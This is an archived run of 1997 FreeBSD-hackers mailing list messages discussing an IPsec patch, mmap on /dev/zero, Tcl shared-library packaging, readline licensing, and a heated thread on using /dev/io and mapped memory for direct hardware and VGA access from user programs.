Mon, 23 Jun 1997 12:38:55 +0300 (EEST) Date: Mon, 23 Jun 1997 12:38:55 +0300 (EEST) From: Narvi To: itojun@itojun.org cc: freebsd-hackers@FreeBSD.ORG, freebsd-security@FreeBSD.ORG Subject: Re: ipsec code made in Japan In-Reply-To: <12196.867054658@itojun.csl.sony.co.jp> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Cool! I will try it. As for merging, it could probably have a branch on the international crypto sources? Of course, provided it is accepted. There is no love, no good, no happiness and no future - all these are just illusions. On Mon, 23 Jun 1997 itojun@itojun.org wrote: > I've made a IPv4 IPsec patch to 2.2.1-RELEASE, in: > ftp://ftp.csl.sony.co.jp/pub/itojun/ipsec/ > (should be easily applied to 222-RELEASE too) > Please read the following document with care BEFORE downloading it. > ftp://ftp.csl.sony.co.jp/pub/itojun/ipsec/README > > Cryptographic code is implemented outside of US, so there would > be no export control problem for most people. (except for > countries where import of crypto code is illegal, or use of crypto > code is illegal) > > It is still in infancy, and will be updated regularly. > Please visit the above directory regulary, if you would like to > do a beta-test. > > Currently, there's no dynamic key management daemon available. > (I plan to port Pluto implementation) > If you would like to find WAN testing partner, email me. > There are several people running this kernel, so let us manuall > setup keys manually. > > > Question: How should I release this kind of code in the future? > What is the best way for us all? Apparently I can't try to merge > it into FreeBSD source tree in ftp.freebsd.org. > > Jun-ichiro itojun Itoh > itojun@itojun.org > From owner-freebsd-hackers Mon Jun 23 02:54:27 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id CAA25521 for hackers-outgoing; Mon, 23 Jun 1997 02:54:27 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id CAA25496; Mon, 23 Jun 1997 02:54:22 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.5/8.6.9) with ESMTP id CAA06420; Mon, 23 Jun 1997 02:54:29 -0700 (PDT) To: itojun@itojun.org cc: freebsd-hackers@FreeBSD.ORG, freebsd-security@FreeBSD.ORG Subject: Re: ipsec code made in Japan In-reply-to: Your message of "Mon, 23 Jun 1997 17:30:58 +0900." <12196.867054658@itojun.csl.sony.co.jp> Date: Mon, 23 Jun 1997 02:54:29 -0700 Message-ID: <6417.867059669@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Question: How should I release this kind of code in the future? > What is the best way for us all? Apparently I can't try to merge > it into FreeBSD source tree in ftp.freebsd.org. Have it merged into the source tree at ftp.internat.freebsd.org? Jordan From owner-freebsd-hackers Mon Jun 23 03:00:47 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id DAA25840 for hackers-outgoing; Mon, 23 Jun 1997 03:00:47 -0700 (PDT) Received: from hydrogen.nike.efn.org (resnet.uoregon.edu [128.223.170.28]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id DAA25830 for ; Mon, 23 Jun 1997 03:00:42 -0700 (PDT) Received: (from jmg@localhost) by hydrogen.nike.efn.org (8.8.5/8.8.5) id DAA15963; Mon, 23 Jun 1997 03:00:40 -0700 (PDT) Message-ID: <19970623030040.50241@hydrogen.nike.efn.org> Date: Mon, 23 Jun 1997 03:00:40 -0700 From: John-Mark Gurney To: FreeBSD Hackers Subject: problem with /dev/zero and mmap?? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.69 Reply-To: John-Mark Gurney Organization: Cu Networking X-Operating-System: FreeBSD 2.2.1-RELEASE i386 X-PGP-Fingerprint: B7 EC EF F8 AE ED A7 31 96 7A 22 B3 D8 56 36 F4 X-Files: The truth is out there X-URL: http://resnet.uoregon.edu/~gurney_j/ Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk well.. I was just experimenting with mmap and discovered that something works when it shouldn't: fd=open("/dev/zero", O_RDONLY, 0); base=mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0); base[0]=4; the above won't cause a bus error.. but replace /dev/zero with a normal file and it will fail as expected (with a Bus error)... shouldn't the mmap behave the same?? if you try and write to the fd, it will set errno to EBADF, just like the man page says... well... I am looking at sys/vm/vm_mmap.c, and it looks like that special hack for SunOS (on line 228) is a bit to early... or does sunos require that you be able to do the above? I know it's minor, but it encorages bad programming, and someone might use code similar to the above and wonder why it stops working when they switch to a normal file, or other char device... -- John-Mark Gurney Modem/FAX: +1 541 683 6954 Cu Networking Live in Peace, destroy Micro$oft, support free software, run FreeBSD From owner-freebsd-hackers Mon Jun 23 03:01:24 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id DAA25938 for hackers-outgoing; Mon, 23 Jun 1997 03:01:24 -0700 (PDT) Received: from haldjas.folklore.ee (Haldjas.folklore.ee [193.40.6.121]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id DAA25922 for ; Mon, 23 Jun 1997 03:01:15 -0700 (PDT) Received: from localhost (narvi@localhost) by haldjas.folklore.ee (8.8.4/8.8.4) with SMTP id NAA20776; Mon, 23 Jun 1997 13:30:47 +0300 (EEST) Date: Mon, 23 Jun 1997 13:30:47 +0300 (EEST) From: Narvi To: Michael Smith cc: hackers@FreeBSD.ORG, Amancio Hasty Subject: Re: Tcl loadable packages In-Reply-To: <199706230159.LAA14097@genesis.atrad.adelaide.edu.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, 23 Jun 1997, Michael Smith wrote: > Narvi stands accused of saying: > > > > If one was to make a port of tcl loadable package, how would one > > go about it? > > > > Well, I know I have to make a shared library. How am I to name it > > - the original makefile, that does not work on FreeBSD tries to > > just make a xxxx.so file. > > There are a couple of approaches. You can hack the Makefile to build > shared libraries the BSD way, or you can write a replacement Makefile that > uses bsd.lib.mk. Looking at the latter will at least make it clear how > shared libraries are made, and let you name it appropriately. I find it easier to write a new Makefile. > > > Where am I to install it? > > /usr/local/lib is probably as good a place as any. If it has support Ok. > scripts, I'd suggest putting them in /usr/local/libdata/... Hm... I don't have libdata here... Is it an official directory? Or perhaps there should be a separate hierachie for installation and easy finding of tcl packages? I take it that there really should be a standard place to hold the "loader files" for loadable (that is - in the form of shared libraries) tcl packages - if a given packages exists, just call /usr/local/.../load_$pkg and it gets loaded. It will avoid a lot of compatibilty problems and the need to re-write the scripts every time we move to a newer tcl version and newer versions of the packages. Sander > > -- > ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ > ]] Genesis Software genesis@gsoft.com.au [[ > ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ > ]] realtime instrument control. (ph) +61-8-8267-3493 [[ > ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ > From owner-freebsd-hackers Mon Jun 23 03:49:05 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id DAA27545 for hackers-outgoing; Mon, 23 Jun 1997 03:49:05 -0700 (PDT) Received: from aak.anchorage.net (ai-129.anchorage.net [207.14.72.129]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id DAA27536 for ; Mon, 23 Jun 1997 03:48:57 -0700 (PDT) Received: from localhost (abc@localhost) by aak.anchorage.net (8.8.5/8.8.5) with SMTP id CAA23079; Mon, 23 Jun 1997 02:36:38 -0800 (AKDT) X-Authentication-Warning: aak.anchorage.net: abc owned process doing -bs Date: Mon, 23 Jun 1997 02:36:37 -0800 (AKDT) From: Steve Howe X-Sender: abc@aak.anchorage.net To: Joerg Wunsch cc: freebsd-hackers Subject: Re: direct access In-Reply-To: <19970623100142.PK61527@uriah.heep.sax.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk "man io" - I/O privilege file The special file /dev/io is a controlled security hole that allows a pro- cess to gain I/O privileges (which are normally reserved for kernel- internal code). Any process that holds a file descriptor on /dev/io open will get its IOPL bits in the flag register set, thus allowing it to per- form direct I/O operations. This can be useful in order to write user- land programs that handle some hardware directly. The entire access control is handled by the file access permissions of /dev/io, so care should be taken in granting rights for this device. Note that even read/only access will grant the full I/O privileges. > > what's /dev/io all about? > RTFM... Did you ever try ``man io'', to the least? Apparently not. yes - but i didn't learn too much. can't say i learned enough to do anything with it. thanks though. i searched through the maillist archives, handbook, and faq, and didn't see much on c-programming i/o basics. i'm sure it doesn't take an einstein, but of course, i'm basing that on my limited knowledge. i've only been programming since 1981, not 1945, and i only know about 10 languages, not 100, and i've only been hacking FBSD for 2 years ... not 20. > > for example, i need char i/o to the vga screen. > No, you don't need it. You _think_ you need it. This makes your > application totally unportable, and people will really hate you for > this crap then. (You will even hate yourself two years later, believe how do you know i don't need it? i have special needs with embedded hardware FreeBSD doesn't support, and that i don't expect FreeBSD to support, and i'm sure i'm not alone. and i don't have time to re-write everything from the ground up right now. how do you know my timelines, my priorities, or if i will even give it out for other people to use, or if i will ever use it on non-pc based computers? > portable back to a CP/M machine connected via Kermit emulating an ADM3a > or VT52 terminal. If your terminal supports colors, you can also get this is the 90's - i don't care about adm3a/vt52's. i care about BSD's/Linux/POSIX and hardware i/o testing. and i don't want to be 90 before i port some 'drivers' to use for myself. and i don't want my trees of development to split too far between my embedded systems code and UN*X code. it will become too much to maintain for now. for example, i read the slang lib may be faster than ncurses... but i can't find any docs on slang i/o. maybe there's even faster alternatives? > colors. You read the character back from a backup buffer curses > maintains inside the program's address space. i can't find any info on this backup buffer in ncurses. i tried "apropos buf", "apropos back", ... i tried the manpages on ncurses stuff, couldn't find anything. i can find what a current pair color is. and curses.h doesn't compile well with c++. besides, from what i read, curses is out of date. > > > > unsigned char * p = (unsigned char *)0x000b8000; > > > You cannot directly access the physical address 0x000b8000. > > is that an absolute? no peek-ing or poke-ing ... at all? > inside the kernel address space), thus you always need a mapping. The > kernel provides for mappings in the ``ISA IO memory hole'', but for > anything else, you're responsible yourself. so - i just match the virtual addresses to physical, by reading this map, then i turn off some flag, and i can read ram ... > > as far as ram goes, i like to watch whats going on > > in physical ram to learn about systems. > Impossible. On a typical 16 MB system, there are 4096 different > physical pages of memory, which can be arbitrarily mapped into the > virtual address spaces. So, your address 0x0000 of your program might > be unmapped, address 0x1000 is mapped to physical address 0x133000, > address 0x2000 is mapped to 0x57000, and so on. What would it give > you to display physical memory? Nothing, i'd say. what would it give us to explore anything? maybe unique things exist that we all don't know about. > > as far as drives go, file recovery - searching for deleted HD data, > > which i desperately need, > Impossible. That's not DOS, our filesystems aren't so simple as a > lame FAT file system. Your data blocks that once belonged to a file > might be scattered throughout the entireq partition, and once you've > lost the block pointers, you stand no chance to reassemble them into > one file (at least, not realistically). no it's not, my files are small, i had few small messages on a drive with keywords, and the drive hasn't been written to since i disconnected it minutes after the deletion. one of many uses for a block editor. > > as far as ports go, the code i'd like to port, detects and > > debugs certain devices. > Leave this to kernel code. Write LKMs with device drivers. i would like to use FreeBSD for embedded systems, and the kernel doesn't support devices i need to use. maybe lkm's -are- what i need? > soon make it obvious to you that all your questions were no-brainers > from the beginning. Sorry for sounding harsh. sorry for being a so stupid. i do appreciate your knowledge. > cheers, J"org ------------------------------------------------- FingerPrint BA09868C 1B995204 58410FD3 A5E7B2DA http://www.geocities.com/siliconvalley/way/7747 ------------------------------------------------- From owner-freebsd-hackers Mon Jun 23 04:24:47 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id EAA28628 for hackers-outgoing; Mon, 23 Jun 1997 04:24:47 -0700 (PDT) Received: from smtp1.ts.kiev.ua (viking.ts.kiev.ua [193.124.229.195]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id EAA28603; Mon, 23 Jun 1997 04:24:33 -0700 (PDT) Received: from aviion.ts.kiev.ua by smtp1.ts.kiev.ua with SMTP id NAA17803; (8.8.3/zah/2.1) Mon, 23 Jun 1997 13:46:59 +0300 (EET DST) Received: from nbki.ipri.kiev.ua by aviion.ts.kiev.ua with ESMTP id LAA13617; (8.6.11/zah/2.1) Mon, 23 Jun 1997 11:27:01 GMT Received: from cki.ipri.kiev.ua by nbki.ipri.kiev.ua with ESMTP id NAA01410; (8.6.9/zah/1.1) Mon, 23 Jun 1997 13:23:42 +0100 Received: from 194.44.146.14 (mac.ipri.kiev.ua [194.44.146.14]) by cki.ipri.kiev.ua (8.7.6/8.7.3) with SMTP id NAA10263; Mon, 23 Jun 1997 13:19:31 +0300 (EET DST) Message-ID: <33AE4013.2DC1@cki.ipri.kiev.ua> Date: Mon, 23 Jun 1997 12:21:23 +0300 From: Ruslan Shevchenko Reply-To: rssh@cki.ipri.kiev.ua Organization: IPRI X-Mailer: Mozilla 3.01Gold (Macintosh; I; 68K) MIME-Version: 1.0 To: Brian Somers CC: Annelise Anderson , kleon@bellsouth.net, freebsd-questions@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: Handbook - ascii form?? References: <199706221358.OAA18944@awfulhak.demon.co.uk> Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Brian Somers wrote: > > Has anyone any objections (cc'd to freebsd-hackers) to me adding > a .txt version of the handbook & FAQ ? better sgml version and some like sgml2plaintext in ports. From owner-freebsd-hackers Mon Jun 23 04:47:41 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id EAA29397 for hackers-outgoing; Mon, 23 Jun 1997 04:47:41 -0700 (PDT) Received: from main.gbdata.com (USR1-1.detnet.com [207.113.12.22]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id EAA29389 for ; Mon, 23 Jun 1997 04:47:37 -0700 (PDT) Received: (from gclarkii@localhost) by main.gbdata.com (8.8.5/8.8.5) id GAA01579; Mon, 23 Jun 1997 06:48:07 -0500 (CDT) From: Gary Clark II Message-Id: <199706231148.GAA01579@main.gbdata.com> Subject: Re: use of readline() To: msmith@atrad.adelaide.edu.au (Michael Smith) Date: Mon, 23 Jun 1997 06:48:07 -0500 (CDT) Cc: hackers@FreeBSD.ORG In-Reply-To: <199706230235.MAA14365@genesis.atrad.adelaide.edu.au> from Michael Smith at "Jun 23, 97 12:05:40 pm" X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Michael Smith wrote: > > Seeing as we have readline() in the tree, would anyone explode violently > if it were used generally for reading user input in the case of programs > like lpc(8), cdcontrol(1), etc? I belive that readline is the GNU version correct? Would this not make all of these programs fall under the GNU Copyleft? Or at least a form of it? No comment on libedit.... Gary -- Gary Clark II (N5VMF) | I speak only for myself and "maybe" my company gclarkii@GBData.COM | Member of the FreeBSD Doc Team Providing Internet and ISP startups - http://WWW.GBData.com for information FreeBSD FAQ at ftp://ftp.FreeBSD.ORG/pub/FreeBSD/docs/FAQ.latin1 From owner-freebsd-hackers Mon Jun 23 04:55:45 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id EAA29706 for hackers-outgoing; Mon, 23 Jun 1997 04:55:45 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id EAA29701 for ; Mon, 23 Jun 1997 04:55:42 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.5/8.6.9) with ESMTP id EAA07005; Mon, 23 Jun 1997 04:55:18 -0700 (PDT) To: Steve Howe cc: Joerg Wunsch , freebsd-hackers Subject: Re: direct access In-reply-to: Your message of "Mon, 23 Jun 1997 02:36:37 -0800." Date: Mon, 23 Jun 1997 04:55:17 -0700 Message-ID: <7001.867066917@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > i searched through the maillist archives, > handbook, and faq, and didn't see > much on c-programming i/o basics. > i'm sure it doesn't take an einstein, > but of course, i'm basing that on my > limited knowledge. i've only been > programming since 1981, not 1945, Well, perhaps you just simply need to accumulate a bit more experience in SEARCHING since I just this moment wandered over to www.freebsd.org, typed in /dev/io and some likely mailing lists (hackers, questions) and presto, I found a whole thread on /dev/io describing what it's for, when you'd use itf and some of the security implications therefrom. I even [gasp] found a short usage snippet from a posting from Sujal Patel on the 19th of April, 1996: --- After you open /dev/io as read-only, you can then use inb & outb from machine/cpufunc.h-- #include #include #include main() { open ("/dev/io", O_RDONLY); outb (0x3f8, 0xff); } --- It took me all of 40 seconds to do this. C'mon, Steve, you can do better than this. You *will* do better than this. > > colors. You read the character back from a backup buffer curses > > maintains inside the program's address space. > > i can't find any info on this backup buffer in ncurses. > i tried "apropos buf", "apropos back", ... i tried the Uhhhh. But you're clearly driving off the road at this point (and that should be as obvious to you as anyone) so why would you expect curses to document its internal data structures in the man page? Hell, we can barely get programmers to document the published APIs, much less their data structures. Go look at the source, dude! It will explain all! :-) > what would it give us to explore anything? maybe unique > things exist that we all don't know about. No argument there - explore away! In fact, if you'd used the time you spent asking and answering all these questions in just a little more diligent exploration with a search engine... :) > i would like to use FreeBSD for embedded systems, and the kernel > doesn't support devices i need to use. maybe lkm's -are- what i need? Well, you could always try it. Experience is the best teacher, an even better one than Joerg. :) Jordan From owner-freebsd-hackers Mon Jun 23 04:57:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id EAA29758 for hackers-outgoing; Mon, 23 Jun 1997 04:57:06 -0700 (PDT) Received: from hydrogen.nike.efn.org (resnet.uoregon.edu [128.223.170.28]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id EAA29749 for ; Mon, 23 Jun 1997 04:57:00 -0700 (PDT) Received: (from jmg@localhost) by hydrogen.nike.efn.org (8.8.5/8.8.5) id EAA18485; Mon, 23 Jun 1997 04:56:44 -0700 (PDT) Message-ID: <19970623045643.10686@hydrogen.nike.efn.org> Date: Mon, 23 Jun 1997 04:56:43 -0700 From: John-Mark Gurney To: Steve Howe Cc: Joerg Wunsch , freebsd-hackers Subject: Re: direct access References: <19970623100142.PK61527@uriah.heep.sax.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Mailer: Mutt 0.69 In-Reply-To: ; from Steve Howe on Mon, Jun 23, 1997 at 02:36:37AM -0800 Reply-To: John-Mark Gurney Organization: Cu Networking X-Operating-System: FreeBSD 2.2.1-RELEASE i386 X-PGP-Fingerprint: B7 EC EF F8 AE ED A7 31 96 7A 22 B3 D8 56 36 F4 X-Files: The truth is out there X-URL: http://resnet.uoregon.edu/~gurney_j/ Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Steve Howe scribbled this message on Jun 23: [man io deleted] > > > what's /dev/io all about? > > > RTFM... Did you ever try ``man io'', to the least? Apparently not. > > yes - but i didn't learn too much. can't say > i learned enough to do anything with it. > thanks though. so? what don't you understand?? have you looked at code that does direct io maniuplation?? (such as the kernel)... UTSL!! you have access to the complete source tree... UTSL == Use The Source Luke > i searched through the maillist archives, > handbook, and faq, and didn't see > much on c-programming i/o basics. > i'm sure it doesn't take an einstein, > but of course, i'm basing that on my > limited knowledge. i've only been > programming since 1981, not 1945, > and i only know about 10 languages, > not 100, and i've only been hacking > FBSD for 2 years ... not 20. well, it's all documented in the source... I'm trying to think how I learned direct VGA writing under FreeBSD... I think it was libdgl that Søren wrote... but that wasn't much help... > > > for example, i need char i/o to the vga screen. > > > No, you don't need it. You _think_ you need it. This makes your > > application totally unportable, and people will really hate you for > > this crap then. (You will even hate yourself two years later, believe > > how do you know i don't need it? i have special needs with embedded > hardware FreeBSD doesn't support, and that i don't expect FreeBSD to > support, and i'm sure i'm not alone. and i don't have time to re-write > everything from the ground up right now. how do you know my timelines, > my priorities, or if i will even give it out for other people to use, > or if i will ever use it on non-pc based computers? so, if you need direct char access, hmm... I need access to the physical address 0xa0000, and need to have it in my address space... hmmm... /dev/mem is the char device for all of memory (obtained from the SEE ALSO line on io(4))... hmmm... mmap (obtained via an apropos of memory or map) maps part of a file or char device into my address space... that just might work!! (and it does) almost all of this is documented... about the only thing that lacks complete documentation is the kernel, but there have been MAJOR improvements in this area with the introduction of section 9... > > portable back to a CP/M machine connected via Kermit emulating an ADM3a > > or VT52 terminal. If your terminal supports colors, you can also get > > this is the 90's - i don't care about adm3a/vt52's. > i care about BSD's/Linux/POSIX and hardware i/o testing. > and i don't want to be 90 before i port some 'drivers' > to use for myself. and i don't want my trees of > development to split too far between my embedded > systems code and UN*X code. it will become too much > to maintain for now. for example, i read the slang lib > may be faster than ncurses... but i can't > find any docs on slang i/o. maybe there's > even faster alternatives? so, your going to limit yourself to the syscons?? if you do I hope you realize that I won't be able to use it was I'm using an xterm right now run under screen (which happens to be doing a cvs tree update in another window)... kinda hard to write directly to the screen considering that I might detatch screen and relocate it to my notebook (which could be in SF, which I did a week ago)... > > colors. You read the character back from a backup buffer curses > > maintains inside the program's address space. > > i can't find any info on this backup buffer in ncurses. > i tried "apropos buf", "apropos back", ... i tried the > manpages on ncurses stuff, couldn't find anything. > i can find what a current pair color is. > and curses.h doesn't compile well with c++. > besides, from what i read, curses is out of date. curses is out of date, but if I remeber correctly, ncurses is still being maintained... > > > > > unsigned char * p = (unsigned char *)0x000b8000; > > > > You cannot directly access the physical address 0x000b8000. > > > is that an absolute? no peek-ing or poke-ing ... at all? > > > inside the kernel address space), thus you always need a mapping. The > > kernel provides for mappings in the ``ISA IO memory hole'', but for > > anything else, you're responsible yourself. > > so - i just match the virtual addresses to physical, by reading > this map, then i turn off some flag, and i can read ram ... see above... need to look at /dev/MAKEDEV and see what's avaliable to you... [...] > > > as far as ports go, the code i'd like to port, detects and > > > debugs certain devices. > > > Leave this to kernel code. Write LKMs with device drivers. > > i would like to use FreeBSD for embedded systems, and the kernel > doesn't support devices i need to use. maybe lkm's -are- what i need? > > soon make it obvious to you that all your questions were no-brainers > > from the beginning. Sorry for sounding harsh. > > sorry for being a so stupid. > i do appreciate your knowledge. it's just that you haven't done the research neccessary... I started using FreeBSD three years ago... I had barely used unix before the time I installed it... I had done a varaity of dos programming... at first I just listened on questions as hackers was a complete mystery to me at the time... after a few months I subscribed to hackers and have learned most of what I know by the conversation that goes on -hackers... then after a couple years, dos is just a toy os anymore... about the only reason I have a dos machine around is to play games... if your really on a time schedule, there are people who would be willing to do the work, assuming you have the money to pay them... hope this info helps... you can learn much more by reading -hackers... -- John-Mark Gurney Modem/FAX: +1 541 683 6954 Cu Networking Live in Peace, destroy Micro$oft, support free software, run FreeBSD From owner-freebsd-hackers Mon Jun 23 05:00:26 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id FAA00121 for hackers-outgoing; Mon, 23 Jun 1997 05:00:26 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id FAA00113 for ; Mon, 23 Jun 1997 05:00:23 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id VAA18816; Mon, 23 Jun 1997 21:30:13 +0930 (CST) From: Michael Smith Message-Id: <199706231200.VAA18816@genesis.atrad.adelaide.edu.au> Subject: Re: use of readline() In-Reply-To: <199706231148.GAA01579@main.gbdata.com> from Gary Clark II at "Jun 23, 97 06:48:07 am" To: gclarkii@main.gbdata.com (Gary Clark II) Date: Mon, 23 Jun 1997 21:30:13 +0930 (CST) Cc: msmith@atrad.adelaide.edu.au, hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Gary Clark II stands accused of saying: > > > > Seeing as we have readline() in the tree, would anyone explode violently > > if it were used generally for reading user input in the case of programs > > like lpc(8), cdcontrol(1), etc? > I belive that readline is the GNU version correct? > Would this not make all of these programs fall under the GNU Copyleft? > Or at least a form of it? Readline is a library, and thus programs linked with it would fall under the LGPL, which is not the same as the GPL by a long shot. It may still be unacceptable; I am trying to come up with a readline() alternative using libedit to deal with the relatively noisome nature of the libedit interface. I may yet grow to like it. -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Mon Jun 23 05:00:59 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id FAA00157 for hackers-outgoing; Mon, 23 Jun 1997 05:00:59 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id FAA00147 for ; Mon, 23 Jun 1997 05:00:49 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id VAA18802; Mon, 23 Jun 1997 21:27:39 +0930 (CST) From: Michael Smith Message-Id: <199706231157.VAA18802@genesis.atrad.adelaide.edu.au> Subject: Re: direct access In-Reply-To: from Steve Howe at "Jun 23, 97 02:36:37 am" To: un_x@anchorage.net (Steve Howe) Date: Mon, 23 Jun 1997 21:27:39 +0930 (CST) Cc: joerg_wunsch@uriah.heep.sax.de, hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Steve Howe stands accused of saying: > > "man io" - I/O privilege file > > The special file /dev/io is a controlled security hole that allows a pro- > cess to gain I/O privileges (which are normally reserved for kernel- > internal code). Any process that holds a file descriptor on /dev/io open > will get its IOPL bits in the flag register set, thus allowing it to per- > form direct I/O operations. This can be useful in order to write user- > land programs that handle some hardware directly. > > The entire access control is handled by the file access permissions of > /dev/io, so care should be taken in granting rights for this device. > Note that even read/only access will grant the full I/O privileges. > > > > what's /dev/io all about? > > > RTFM... Did you ever try ``man io'', to the least? Apparently not. > > yes - but i didn't learn too much. can't say > i learned enough to do anything with it. > thanks though. What more do you need to know? Oh, you mean you haven't read the documentation for the '386? ... yet you claim to want to do low-level hardware stuff, so I presume you must know _something_ about reading datasheets. If you look a little further, you will find in the in* and out* macros familiar to most intel C programmers. The IOPL bit is copiously documented in the Intel literature; if you don't have an x86 processor databook, have a prowl around www.x86.org; they have lots of useful stuff. > i searched through the maillist archives, > handbook, and faq, and didn't see > much on c-programming i/o basics. What is there to know? Seriously, registers is registers. It's assumed that if you're going to work on that sort of thing that you'll already have some experience. > how do you know i don't need it? i have special needs with embedded > hardware FreeBSD doesn't support, and that i don't expect FreeBSD to > support, and i'm sure i'm not alone. No, you're not. (See my .sig before you write me off as a snob; I've been doing embedded systems with FreeBSD for the last ~3 years.) However, as we are trying to point out, you have the wrong attitude, and you need to _stop_ thinking like you are, and embrace a whole new paradigm. You _cannot_ apply your current modes of thought to working with FreeBSD; the result will be a lot of wasted time and a non-functional product. Please believe me when I say that the comments that have been made are not intended to discourage you, or deprecate your general self-worth; what's intended is that you should forget everything you may have learnt about how to write embedded software for DOS (what I used to do too) and learn how to do it with a unixlike system. I for one would be more than happy to talk to you about how to do what you're talking about, but so far all I've heard you talk about is some wonderful "visual everything editor", and a lot of what the demo crowd would call "craptalks". If you can raise some real examples then we can get specific. > and i don't have time to re-write > everything from the ground up right now. how do you know my timelines, > my priorities, or if i will even give it out for other people to use, > or if i will ever use it on non-pc based computers? We don't. But several centuries worth of collected *nix programming experience is trying very hard to teach you the first basic lesson of open systems programming; _generalise_. Don't be specific where you can be general. Embrace portability because it brings you opportunity for rapid code and knowledge reuse; far more than any language technology ever will. I also know that writing a driver to fit inside an established I/O framework is about 1/10th the work of writing a complete standalone I/O stack and making it work alongside an existing one. > and i don't want to be 90 before i port some 'drivers' > to use for myself. and i don't want my trees of > development to split too far between my embedded > systems code and UN*X code. it will become too much > to maintain for now. for example, i read the slang lib > may be faster than ncurses... but i can't > find any docs on slang i/o. maybe there's > even faster alternatives? Speed is irrelevant here; ncurses isn't "slow"; you are seeing the fundamental difference between a cursor-addressible serial-stream display and a memory-mapped screen, and failing to decouple your thinking from the ordering of output on the screen. If you have a specialised requirement for talking to the framebuffer, and you can't achieve what you want using a portable solution, then take the advice you've been given and memory-map the console device into your process. If this is all double-talk, come back to us with an example and some rationale for your requirement so we can understand it and for sure someone will be able to help you. > > colors. You read the character back from a backup buffer curses > > maintains inside the program's address space. > > i can't find any info on this backup buffer in ncurses. > i tried "apropos buf", "apropos back", ... i tried the > manpages on ncurses stuff, couldn't find anything. Firstly; why on earth do you want to read back from the screen anyway? This is a totally losing idea in almost any circumstance; it's the sort of thing that beginner assembly programmers do because they've run out of registers. Then let's just observe that it's possible for other programs to write to the screen at the same time that you are... > i can find what a current pair color is. > and curses.h doesn't compile well with c++. > besides, from what i read, curses is out of date. Not as such. 